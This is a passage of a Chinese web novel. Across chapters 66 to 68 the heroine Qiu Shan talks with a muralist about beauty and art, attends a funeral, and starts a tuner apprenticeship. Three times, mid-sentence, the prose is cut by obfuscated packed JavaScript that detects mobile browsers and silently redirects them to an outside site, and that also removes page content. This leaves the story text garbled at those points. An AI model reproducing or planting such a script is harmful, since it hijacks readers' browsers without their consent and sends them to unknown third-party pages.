她垂着眼睛打量过阿邱一遍,没头没脑地补了一句:“况且这里只有两种身份:布道者和猪猡。我对自己的定位就是个破画画的,只有放低身段,槽里才总能有食,看不清真相的很快就会饿死。” 83. 第六十六章 女神 好嘛,又是一个愤怒的底层人。 不难看出,熟练驾驭梯子的除了技巧,还有高于一般人的心情水平,从这点出发,她的工作和生活铁定比阿邱要好得多,需要动用上肢肌肉去搬运的也只有一桶桶的墙绘颜料,她有什么好愤怒的? ——也不能这么想,愤怒是不好拿来比较的。何况画师的语气也说不上愤怒,话的内容再不悦耳,语气也只是平铺直叙,情绪方面可比别的愤怒底层人要稳定多了。 阿邱看向墙上完成了一小部分的画作。这是一份阿瑞斯杯英雄榜,以十二星座为顺序陈列出知名选手的画像。这是近几年才流行起来的分类法,黑曜石图书馆曾出过统计,比较亮眼的选手集中在狮子、射手、摩羯、天蝎中,剩下的星座就比较荒芜了,但有了这个新标准、各个星座只能选出一名代表,热门星座中的非顶尖选手——无论是实力还是人气上的——都将遗憾不能上榜,冷门星座差强人意的独苗苗可就要跟代表水瓶座的克洛诺斯、代表金牛座的齐格飞平起平坐了。 每每看到这样的榜单,阿邱都有一种幻想:要是阿瑞斯杯不限参赛者性别,而她当年也没发生那件事,处女座的位置上,只有可能是她。 阿邱再也想不到比她更适合上这个榜的处女座选手了,如果她确实是选手的话。你看,她又厉害,又正义,长得也不错,有时候还风趣幽默,如果她能通过这条路子被大家认识,她还在这当什么丢了工作的卖报员啊,早就开着私家车到处兜风,跟Dr.D.P、劳伦斯家的秘密继承人什么的谈笑风生啦! 浸在臆想中再看这个画师的手艺,哟!阿邱确实哟出声了。她又是诧异,又是惊喜,脑袋都开始发痒了——那些放大了的半身像,无论是已经画好的还是只打了个大框架的,说栩栩如生还太过笼统,每张画像都动态优美、双目聚神,仿佛转眼之间就要破墙而出了——决定了。兜完了风,阿邱选手一定要找这个画师订制一副私人画像——不,回到现实中,她现在就想独占一小份这样的神迹!应该先询价,然后付定金,等她找到新工作、还清了豆记当铺的欠款、手里尚有余钱的时候…… “请问大师——”问题脱口而出,“你会在镇上待多久?” 由于谈话对象发呆太久已重新投入工作的画师一转头:“怎么跟你说呢,为了多赚点钱,我当然想多留几日,但我们这种人——你懂吧?” 阿邱有些难过:“你的下一个单子会在哪里?” 她一时有种想法:办完了旧矿山镇的事,以后画师走到哪里她就跟到哪里,就像爱音乐的小孩在睡梦中被恶魔的笛声勾走了魂。 画师好像看穿了她的心思,迎着她满怀期待的眼神望回去:“应该还在这里吧,毕竟我——” 她用刷柄指了指满地的颜料桶:“为了节省甲方的成本,用的全是不耐光的颜料,大赛期间需要定期到这来修补,次数未知,修补费提前结在预付薪酬里了。” 阿邱懂了她的意思,像快要用完的喷漆罐一样“哧哧”地叹大气:“姐姐,你的画工这么好,要不是生在现在的——叫什么来着?哦,白羊时代——你会是个举世瞩目的大艺术家!我不是在奉承你,我是真的觉得很厉害,是我长这么大第一次见的一等一的厉害!” 画师懒散地勾勾嘴角:“我知道你是真心的,奉承我这种人有什么好处呢?” 阿邱抒发完了才想起规矩人应该如何寒暄,有些徒劳地追加了一句夸奖:“而且你长得很漂亮……” 画师果然没注意到,回复的还是上一句话:“如果你从刚学会走路就拿起了画笔,你只会比我更好。再说这算哪门子的厉害,把人像画得和真人一样是最没技术含量的,不过是按比例放大,是模仿、是照抄,不是创造。” 古怪的是,阿邱脑袋里的痒暂时消失了,也许是因为她也有按比例缩小的经验,看到了堪称宏伟的人造奇观,又被它的创作者扯回现实,觉得不酷了。 她不甘心,想要挽留这种酷:“如果让你凭空创造一个大英雄、大救世主,你觉得她会是什么样的?” 可能有一条规律,在讲话没有字幕的位面,当女字旁确实存在的时候,有的人就是听不出来;当女字旁不存在的时候,人们反而能附会一个上去。阿邱潜意识里一直希望有人打破这点,近来这份希望越来越强烈,于是语气里有藏不住的挑衅。 超出预期地,画师盯着她,不假思索道:“你这样的。” 阿邱揪着披肩后撤一步:“我?你真会说笑。” 画师哼笑一声,没有接着展开。她说:“至于白羊时代嘛……我不觉得某个星座能统领世界十几二十年。就算能,凭什么不能是双女时代?” 见识了读心术,阿邱又遇上了眼睛一眯就能打量出别人生平的黑魔法,不知怎么接话,便明知故问:“双女是什么?” “就是处女座的另一种说法。”画师活动活动脖子,继续把注意力集中在画面上:“我叫崔思怡,笔名崔斯特。” 无论她高不高兴见到阿邱……这两天,阿邱从40岁以下的陌生女性身上学到了一条规律:真心的夸赞会换来别人的大名。 她礼尚往来:“我叫邱珊,笔名是……我没有笔名。” 崔思怡用后脑勺扎她的心:“哦?你闲到上班时间在这乱逛,不能去写点什么,或者画点什么吗?” 阿邱颓唐道:“画画我实在没天赋,写东西的话,我懒得梳理逻辑,纯粹就是在自嗨……” “市面上的出版物也未必有逻辑。” “不了,我的故事对我很重要,在我没能力写好它的时候,还是留在脑子里自己品吧……” 阿邱觉得,有人骂她不好尚能忍受,要是有人敢说冥蝶公主的坏话,她绝对会气到睡不着觉。 真正的艺术家则看得更高:“你知道吗,在创作的领域,逻辑是要给美让步的。” 是有这一说。有的孩子天资不够,无法靠自己的力量引出原初创造力,就需要早教师来辅助,有一个方法是告诉他类似“逻辑是要给美让步的”的话——它能起作用的情境也只在这里了,在成为一个合格的十字城邦公民后,这样的比较级就永远也用不上了。 阿邱仿佛舍不得她的早教师离开似地,精神上抓着崔的衣角追问:“那你觉得美是什么?” “就是浪漫吧,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344046|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概。” 不要“大概”啊! “美就是漂亮吗?”阿邱尝试用自己的世界观去理解新鲜事物,好像这样一来新鲜事物就能高高兴兴加入她的世界观似的。 崔摇头:“不漂亮也可以美。” 哦,那就是包含关系咯。 “比如你眼前的壁画。”崔立即找到了例证:“用的是不耐光颜料,在接下来的时间里会让人们享受到画作慢慢消失的艺术,在我看来也是一种表达人造价值终将被大自然重新驯服的美——当然,我的雇主不会允许这件事发生。” 阿邱点点头:“原来美就是预设立场、创造意义。” 崔回头,发出了孺子不可教也的叹息:“女神美吗?” “女神?女神肯定美啊,她的称号就是美梦女神嘛。” “那女神有意义吗?” 阿邱被问住了,迟疑着说:“呃……女神的意义……哪是我们信众可以随便评判的,女神是用来崇拜的!” “那我问你,女神做了什么才得到了人们的崇拜?” 阿邱拼命回忆着圣诗,生怕被人发现自己的不虔诚:“她做的好事多着呢!牺牲自己、为打败了史前猛兽的先贤献上美梦的赞歌,让他们安心在冰层底下长眠——也许她生前还画了一些好画、写了一些好文章抚慰过人们的心灵……” 崔笑笑:“那还真是一件事都没做错啊。” 阿邱不敢细想她为什么语带讽刺,但也并不觉得被冒犯,谁叫她是神殿戍卫队名不正言不顺的机动队的机动队员呢,哪里都跟女神不挨着,就是她老人家要降下雷罚,也会先劈克洛诺斯。 她看着崔的手腕上下翻飞,一只三层眼皮、带有血丝、载满了欲望的眼睛徐徐成型。 阿邱被壁画上的人瞪得跳起来:“你的画要出来打人啦!” 崔拒不担责:“是模特长着一张要打人的脸,关我的画什么事?再说阿瑞斯杯本来就是个打人比赛!” 这还只是壁画,没有被画框限制住。阿邱舔舔上嘴皮,问道:“你们业内从没发生过人像从画里钻出来变成一个大活人的异闻吗……” 希望崔听得出来这不是一种夸张。 “有这个可能。”崔说,“据我所知,贵地是无限魔法制,没有不可能发生的现象,只有尚未被人探索到的手艺。” 阿邱很震惊:给美让了路,逻辑竟然还是通的! “可是有的现象不被允许发生。”崔一偏头,露出一个带点狠劲的笑,“这样就能把新的现象和手艺牢牢掌握在少数人手中,就像白金币。” 阿邱揣测:“这是因为没有知识的人通常太贪心,又愚蠢,人数还最多,只会让白金币贬值……” “你看起来并不相信这个。” 那确实。 “我是觉得这种事也太吓人了,被少数人掌握就被少数人掌握呗。” “吓人吗?”崔看着自己的半成品,语气中有了不易察觉的忧虑:“他们是真的怕画里的人走出来、走到人群中去么?不,我看他们怕的是画里的人有了自我意识,不肯听他们使唤、不肯跟爹生娘养的人一样拿血肉供养他们吧。” 84. 第六十七章 出场时间 崔斯特、崔斯特…… 没有攀附艺术家的意思,阿邱是真的在哪听过这个笔名。 她不怕脖子酸,那时缠着高处的崔聊了很久,崔不肯暴露太多自己的事,末了只拿一句话打发她:“我不崇拜神,我只崇拜人。” 这话放在脑袋里想一想还不至于告发她是异端。可是“崔斯特”嘛…… 阿邱念叨出声,被一旁的苏西拿胳膊肘撞了一下。 她回过神来。这是库奇的葬礼,举办地点设在他家客厅——鬼知道,就算半道改成恩格玛祭司的客厅阿邱也发现不了,两个她都没去过。来客在灵床旁边围成一圈,遗体双手交握平躺在上面,头戴曼陀罗花环、眼压两块石片,栩栩如生,毕竟生时坠坠如死。 牧师站在几本厚厚的圣诗集砌成的布道台上吟唱悼词,引导灵魂去往魔界、静待解放者的救援。 灵魂的事情安排妥当,躯体呢?接着,由常务司出资雇佣的律师正式宣读遗嘱,并着重强调,老库奇勤勤恳恳工作了四十多年,尤其是保险还交齐了,真真是万人之表率,于是在夜之窟垃圾站后方的墓园有一块自己的墓地;他终身未娶、一生清贫,参考他的情况,镇长经过审慎考虑,将在春生节前后推出独身人士保险减免活动,以此弥补三十岁以上仍未生育者的特别档位税收。 听完遗嘱,阿邱皱起眉——白天拿来吓唬她的说辞怎么一句都没有?葬礼都结束了她还在想着这件事,苏西把浮了一层植脂末的燕麦奶咚到她面前,笑话她:“有什么好紧张的,宣读遗嘱的目的是让参加葬礼的非继承人别惦记遗产,因为遗产在交到安东尼奥手上之前受常务司保护,那些情绪化的指摘,戍卫队已经处理完了,要是还拿来说道,不是散播恐慌情绪吗?” 阿邱吨吨吨地喝光燕麦奶,声音更小地咚回去:“这次你居然没跑路啊。” 不光没跑路,阿邱回到淡猫俱乐部时,他还大喇喇地坐在门口等着她,由于“你顶着这个发型参加葬礼准挨骂”,把阿邱拽去后台换上一身庄重的穿搭——他竟真有几条整体和局部都挺庄重的裙子,抖开时阿邱大吃一惊;魔女大波浪也被他哀悼地盘成发髻,用发网束缚在了后脑勺上。 苏西一怔:“我为什么要跑路?” 再怎么庄重典雅、尊重出席场合,身体被别人的裙子包裹着,阿邱仍觉得束手束脚。她本想把下一句话说得有气势些,可她只能伏在桌上缓慢又小声地说:“我这不是刚从审讯室出来么,我严重怀疑,淡猫俱乐部正在被上头‘重点关照’!” 苏西觉得理由不够充分:“那也该是牧笛先跑,俱乐部是他的生意嘛。” 他看着阿邱那副鹌鹑样,不怀好意地笑起来:“关于那份意图毁了你的遗嘱,你害怕也是对的,我在森林戍卫队有认识的人,他告诉我,原文中还有一段对你更不利的,想不想听听?” 阿邱缩得更紧,优先关心:“除了你们之外还有谁知道?” “没了,担心影响不好,他们在公开的版本中隐去了。你的好老板是这么说你的:一开始还以为你身上的毛病只是女人的劣根性,后来看了你的资料,才发现你来自塔尔塔洛斯,一切都得到了解释!建议狱警大人休要轻易把重大罪犯放出来、建议卫城方面早日出台相关法律,你这种人要关就关一辈子,扣他那么多单身税,花在刀刃上不好吗?” 阿邱基本可以确信权朱也看过这段。她扯起嘴角笑笑:“那还真是谢谢他的‘一生清贫’了。” “所以你说我能不能跑?”苏西戳戳她的脑门,“怕你晚上睡不着,我还特地准备了一段助眠童谣,配合燕麦奶服用,对你长个子有好处。” 童谣很长,说的是这么一段故事:神的孩子小A、魔的孩子小B在天上相遇了;小A做了一辈子善事,小B做了半辈子善事,却受人挑唆,果然轻易就魔化了;最后小A升天,得到了世间所有的美好,小B则一步踏错、终身受辱,直到现在,魔族的血液偶有沸腾,就是小B在地底魔狱中垂死挣扎的余波。 助眠的是韵脚,故事可一点也不。趴在苏西背上,阿邱神思清醒地抱怨:“这是童谣?出身论的东西也好意思拿来教小孩?你是生怕我晚上睡得着吧。” “不。”苏西像个勤勤恳恳的奶妈一样把她往上抬了抬,步履却比一般奶妈稳健,甚至说得上沉重,“你细品一下就能发现,A和B其实是同一个人。” “什么呀,原来主旨是禁止一念成魔?”那阿邱也不乏抱怨,“禁止魔化,说得好听,那就先创造难以成魔的环境啊!编个童谣让人各自防备便罢,出事自己担,当局一点也不负责是吧?” 阿邱尽力顺着苏西的意思,苏西却还是摇头:“上升到当局干嘛?你听我说完,我是想通过这个告诉你:如果B比A先一步出场,人们就会用对待B的方式对待A,同时B不会受到挑唆,就算一念成魔,结局也会是迷途知返。” “出场顺序很重要,你是想告诉我这个吗?” “对喽!” 葬礼上也来了几个稍有名望的舞男,更多的是拥有葬礼用服饰的普通住户,但他们听信了舞男的传言。要不是没逃跑的苏西自愿做盾牌,阿邱恐怕会被众人的眼刀飞死。 所以她打着哈欠薅住苏西的假发:“好啦,我知道你们都是好人啦,好人就该有好报嘛……” 克洛诺斯在海上,距离返航还有一段时日;海上风平浪静。 很好。阿邱觉得,她现在已经病得够重了。 ==== 第二天清晨。 出门之前,阿邱绞尽了脑汁,小心翼翼、磕磕绊绊地给豆子警官的短码发了一条讯息: “尊敬的罗宾警官,很抱歉打扰您的约会,今日黄昏时分可以来夜之窟跟我见个面吗?是我找工作的事,想请您帮个忙,请务必在下班时间、晚饭之后前来。” 她斟酌了十遍以上,发出去却不敢再听第二遍,带上文件夹、仿佛忙于公务一般逃上了公车。 新布置的报告要怎么写呢?“我觉得旧矿山镇好像不太关心真相,所有人工作的核心都是研究如何用假话迫使有关人士付出行动……” 有没有委婉些的表达? 先用最浅的铅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351007|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔写下来,好几层括号括起来…… 车辆猛地颠簸一下。阿邱浑身一激灵:不能这样写吗?好吧,擦掉擦掉。 脚下的小礼物也被颠出去老远。阿邱狼狈地把它捡回来,用双脚夹好,又怕弄脏了它,干脆放在身上,用一条胳膊牢牢夹住。 可是,她的创意被人抢先一步抄走了! 窄街天使巷。这块有个稍开阔些的小广场,妮莎在草地上快活地踢着她的新皮球,已痊愈出院的阿蒂提做她的接球手,灵敏地蹦来跳去。 霍恩负手站在一旁笑看她们。阿邱在背阴处愤恨地盯了一会,咬咬牙,从枯树上摘下一个笑容僵硬地挂在脸上,靠“我是要一箭双雕”的决心强撑着走了出去。 “早上好。”阿邱忍痛把新皮球放在草地上——妮莎欢天喜地地接下来、抱住她的腰、连声说“谢谢大姐姐”的画面已经破碎了。饶是如此,她的出场时间还是不对,姐妹俩为了确认来者身份,不得不停止快乐的活动看过来,笑容也稍稍敛去了。 阿邱在心里骂完自己,硬着头皮上前道:“好球……不嫌多,对吧!” 阿蒂提还是讲礼貌的,上前捡起第二只新皮球:“哎呀,这下连室内用球都有啦,妮莎,还不快过来谢谢邱小姐!” 妮莎这孩子从不虚与委蛇,上来弹了弹阿邱的皮球,皱着一张脸扔回到姐姐手上:“这不就是满大街都能买到的那种吗,踢起来一点都不带劲!” 她踢着带劲的皮球跑远了,作为中转站,霍恩的小腿骨挨了一记。阿邱抬手制止了阿蒂提的道歉,现学现卖地说:“你是想考调律师资格证对吧?正好我得到了出入图书馆的资格,虽然只是镇级的图书馆,再怎么说,那也是黑曜石图书馆的支系啊!今后你有什么想看的书就来找我,我帮你借。” 阿蒂提疑惑地歪头:“谢谢你的好意,不过图书馆么……我们镇民本来就有免费发放的借阅证啊?” 阿邱如遭雷劈。心里的热水壶跟着烧开了,哨子发出长长的尖叫。她怎么就没想到呢,豆子警官的特许是专供黑卡持有者的,因为紫卡公民压根就没有这方面的需求呀。 她咽下一口血沫,强笑道:“哈哈哈,这样啊……那、那实习的事,霍恩是怎么跟你说的?” 阿蒂提扬起头看了看妹妹的方向,笑容回到了脸上:“加百列老师从不食言,上次交代我的事已经提上日程了!不过加百列老师还说,正式上岗之前我还需要自主学习一段时间,亲自给我开了书单,霍恩先生就是我的训导员。” 真好啊,万物欣欣向荣,生活充满希望。阿邱垂下头。第一只雕扑棱扑棱飞走了,肌肉还帮她记着第二只,她略嫌刻意地说:“唉,我也是——种种原因,上份工作告一段落了……真羡慕你,要是我也有这样的机会就好了。” 阿蒂提的一颗心比圣湖还要纯净,听闻此事,一把拉住她的手走向霍恩:“那可巧了,我跟加百列老师提过你的事,他很欢迎你的到来,只是知道你工作忙、规划多,不便再来打扰。现在你总算有空了,正好霍恩先生也在,咱们今天就把事情定下来!” 85. 第六十八章 脱敏治疗 事情就这样定下来了。 好丢人啊。阿邱应该拯救的人、至少是应该保护的人,不仅不需要她的帮助,还反过来成为了她的人脉?好丢人啊! “趁帕特尔小姐不在,我就跟你直说了。”在临时搭建的诊疗室——沿用的还是义诊场地,即广场的花架凉亭,霍恩骄傲地介绍着加百列的城堡,“我们没有太多空余的岗位,现在可以为你提供学习上的帮助,长期来看嘛,如果你愿意,可以临时做些辅助性的工作积累经验。” “好嘞好嘞,咱们快开始吧。” 积累的是经验,也就是说没有发工资的实习岗位留给她。其实谁都知道这就是加百列一句话的事,于是阿邱毫无遗憾,径自揣测起了原因:这是因为她超龄了,还是因为她很可怕? 如果是后者,用不了多久,她就能回答“邱小姐,你在偷笑什么”了。 目前还得不到答案,霍恩收回目光,手上的活不停:他在搭建谐律调同的仪器。城堡里的人如此依赖这套技术,如果说朝着国王跪拜的来访者是衣食父母,那么非言语拷问可就算得上加百列的亲爷爷啦——想到这里,阿邱捂着嘴假装打了个哈欠,以免笑出声来。 在拷问器具面前,阿邱瞥一眼身侧,想起上回坐在那个位置的人。坏了,飞笺器的讯息还能撤回吗?她忽然想起一种情况:假如严格的露娜把下班时间也算在“一整天”里,那她岂不是又坏了人家的好事? ……别慌,训导员这就要来教训她了!由于调律师的知识涉及人的韵律,有诸多“这也是不推荐自学的理由”——霍恩如是说,所以在传授之前需要做一次韵律探测,只是浅表层的,不需要第三方参与。 玻璃罩中水位上升,阿邱夹上耳夹,双手结成内观之眼。她倒要看看,城堡的守卫对他身后那座大建筑有多少认识。 十分钟后,霍恩率先发问:“昨天你新认识了一个壁画师?” 阿邱晕晕乎乎地说:“也有可能是梦呢。” 韵律学是一门讲究实证的学科,霍恩拒绝模糊,满脸严肃地质问:“你和画师聊到了赋格魔法?” 非要这么定性是吧?不出所料地是个坏东西呢,坏天使的坏号角! 阿邱挠挠太阳穴:“这么聊天对韵律不好?” “对韵律好不好因人而异,但一定不利于你成为一个调律师。” “哎呀,那我可不敢细想了。”阿邱正在消化,但她知道必须在这个场合中展示同等级别的情报:“你这边呢?那位老先生是哪个年代的人?竟会告诉你‘人为什么一定要消灭本我、使劲把自己融入组织中?因为只有这样才能在犯错时把责任平摊出去’这种损人不利己的话,莫非也是赋格魔法吗?听得我脑袋都发痒了!” 理论上,即便在仪器的阻拦下——咱们局外的观众不必恪守情报等级条例,在此澄清一句:这种“阻拦”经常被解读为接通平台的便利,然而事实上,拜内观之眼所赐,人类对另一个同胞的记忆有无限制参观资格,只是自身未必有足够的客体记忆容积,容积够了也不一定全能理解,这就涉及到了至今未被研究透的同物种解析能力差距。不同于阿邱和刚出生的婴儿,一般成年人受限于语言、教育背景和社会习俗,通常只能看到自己想看的东西;或者得到了提前防备,看到对方想要她看到的东西。 霍恩只是守卫,没有城墙拦在他与长矛之前,心理素质自然也稍差些,先是极力否认这段记忆的存在,后又承认确实遇到过这样一位老师,但他完全不认同,这才投入了加百列老师门下。 “竟然是你的老师?他心中一点也没有对知识的敬畏吗!”阿邱拢圆了嘴巴道,“还好你后来弃暗投明了。” “但我又觉得有几分道理。”趁霍恩还没接下句,阿邱在圆嘴的基础上追加了圆眼,“在家靠父母,出门靠朋友,大家都是这么说的。” 话虽如此,双押三计划可是彻底靠不上“朋友”啦。经过这几天的研究,豆子是好人,苏西是好人,露娜大概是好人,身体还不好,工作那么忙身为一个女孩子也不容易——既然引来的全是对正义的反思以及同病相怜,那还不如阿邱单枪匹马地把事办完。 自然,最开始设立双押三计划也不是她缺乏助力,因为书上说三足鼎立是最好的制衡模型,阿邱机械地学起来了,又发现它并不适应事态变化的速度,就决定暂时搁置;即便搁置带来的结果是解开了身上的枷锁,她主观上不把它当好处,罪责大概也就落不到头上去,你看这不是也不需要“融入组织”嘛! 就这么生聊了几句,阿蒂提回家整理好了书籍文具抱过来,阿邱连忙让位给她。 训导员向正式的学生提到考证之前的几次初心者晋级考试,因为洱鸾大陆非常重视对调律师的培养,“这很常见,也很重要,哪怕是持证上岗之后也有晋级考试,时间跨度大,难度也比那大得多”。阿蒂提紧张地将费用、地点、次数限制等不容更改的考试条例抄写下来,霍恩则在石桌下面轻轻晃着二郎腿上的那只脚。 又挨了一会,头顶的迎春花醒了,张开嘴,把包了一晚上的夜路滴下来,落到人的脸上,视觉效果是冷汗,表达无法言喻的惭愧或紧张。 阿邱得以递出两块手帕,一块自己用的给阿蒂提,另一块给霍恩。 “这是我昨晚熬夜裁的,买了新布料嘛——哦,我没有机器,上面的迎春花是手工绣的,当作见面礼送给你,希望不要嫌弃。” “你也太见外了……”霍恩搓了搓像牛皮纸一样硬的布料,迟疑着说:“谢谢,我正好缺个擦鞋的手帕。” 阿邱看着他把手帕揣进口袋,在心里郑重地嘱托:交给你了,迎春花。 白天的时间飞一般过去,到了黄昏,像是一种仪式,人们总是背对着逐渐沉没的太阳回到夜之窟、回到龙柏朋友身旁。 阿邱坐在那里,这回她不好意思晃腿,因为心虚层层叠叠:请来豆子警官是第一层,请他来帮的忙是最后一层。 她疾速地打开飞笺器的透明屏幕看一眼,又疾速的合上,仿佛动作慢点眼球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367073|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上就会烫出一个泡。上面仍旧只有两条波形,她不知这算好事还是坏事,理想状态是,豆子警官一整天忙得无暇顾及公事,用一顿精彩的晚餐为今天的约会画上了圆满的句号,依依不舍地送别了佳人,在返回单身男孩绝望宿舍的路上想起查看今日新讯息,这才转移了注意力,骂骂咧咧地向阿邱走来。 如果按照她设想的发展,阿邱现在就是在满怀期待地盼着挨骂……那又怎样,一开始就让豆子骂爽了,等他得知阿邱找他是要来干嘛的,那不是正好没力气骂了? “你在这里啊。” 不对,见面的开场白不该是这么平淡的语气。 ……也不该是这样的声线! 阿邱回头的力道几乎拧断了自己的脖子。 “权、权权——” ==== “全全半全全全半。” 这是自然大调的音程组织。 权朱笑了:“背得还挺熟。” 那不能不熟啊,脑子一直用来淌冷汗的话很伤身的。 鉴于权朱有大大方方搞监听的前科,比起尖叫着“权朱好可怕”骑龙逃跑,有件事情必须先问清楚:“真的是他亲自托你来的吗?” “如何让你判断真假?我没有物证。” “呃呃,不用物证不用物证,我当然不会怀疑您的话……” 阿邱的下巴早在认出权朱的声线时就缩进了领口堡垒中,于是回头需要转过全身。她看了一眼街口,犹豫地说:“权长官您先去忙吧,我要再等他一会儿……” “别等了,他不会来的。”权朱拽了她的胳膊一下,很快礼貌地松开:“不是要找工作吗,我也很好奇什么样的工作非得在下班时间找。” 阿邱不想给公职人员添麻烦的好意终究还是喂了狗。很难判断两条狗……两位长官谁更残酷一些呢,不是吗? “对的,罗宾警官需要静养。”她自己找补,“那他把我——我的事,托付给你的时候,表情是生气的吗?” “没有啊,他说今天给自己放一天的假,去布鲁克小溪钓鱼,一个人清静清静。” 小溪的命名好偷懒啊……重点是,豆子警官居然还是个钓鱼佬?!河鱼的蛋白质含量是不错,做成汤比烤肉要营养助消化,但是有外伤的病人能不能多吃呢?况且小溪是景观,又不是专门的鱼塘,春汛将近,水流速度可能变快了,本就不多的鱼儿被转着圈地推来推去,一个人一天能钓几条上来?不过他们钓鱼佬有个说法,跟钓鱼新手一起钓鱼,老手会被新手吸光钓运,露娜一看就不好这口,她就是现成的钓鱼新手,还什么“一个人清静清静”,懂不懂情趣啊豆子警官,赶紧约她一起来啊!到最后会也约了,鱼也上钩了,鱼竿一甩,两只雕都落进了锅里,岂不美哉? 阿邱一边想着,一边越走越快。权朱在看不出步幅变化的情况下跟她半寸距离都没拉开,保持着绝对的相对静止,他略有感慨:“怎么笑得好像要去干坏事似的?兴许我的警告你一句都没听进去吧,岳千秋。”